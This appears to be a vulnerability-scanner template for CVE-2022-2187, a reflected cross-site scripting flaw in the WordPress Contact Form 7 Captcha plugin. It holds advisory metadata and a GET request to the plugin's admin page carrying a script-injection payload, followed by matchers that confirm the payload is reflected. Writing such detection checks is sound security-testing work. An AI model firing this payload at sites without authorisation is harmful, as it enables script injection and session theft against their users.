WordPress Contact Form 7 Captcha <0.1.2 - Cross-Site Scripting

id: CVE-2022-2187

info:
  name: WordPress Contact Form 7 Captcha <0.1.2 - Cross-Site Scripting
  author: For3stCo1d
  severity: medium
  description: |
    WordPress Contact Form 7 Captcha plugin before 0.1.2 contains a reflected cross-site scripting vulnerability. It does not escape the $_SERVER['REQUEST_URI'] parameter before outputting it back in an attribute.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update the WordPress Contact Form 7 Captcha plugin to version 0.1.2 or later to mitigate the XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/4fd2f1ef-39c6-4425-8b4d-1a332dabac8d
    - https://wordpress.org/plugins/contact-form-7-simple-recaptcha
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2187
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-2187
    cwe-id: CWE-79
    epss-score: 0.01277
    epss-percentile: 0.66334
    cpe: cpe:2.3:a:contact_form_7_captcha_project:contact_form_7_captcha:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: contact_form_7_captcha_project
    product: contact_form_7_captcha
    framework: wordpress
  tags: cve,cve2022,wpscan,wordpress,xss,wp-plugin,wp,contact_form_7_captcha_project,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/options-general.php?page=cf7sr_edit&"></script><script>alert(document.domain)</script>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"
          - "Contact Form 7"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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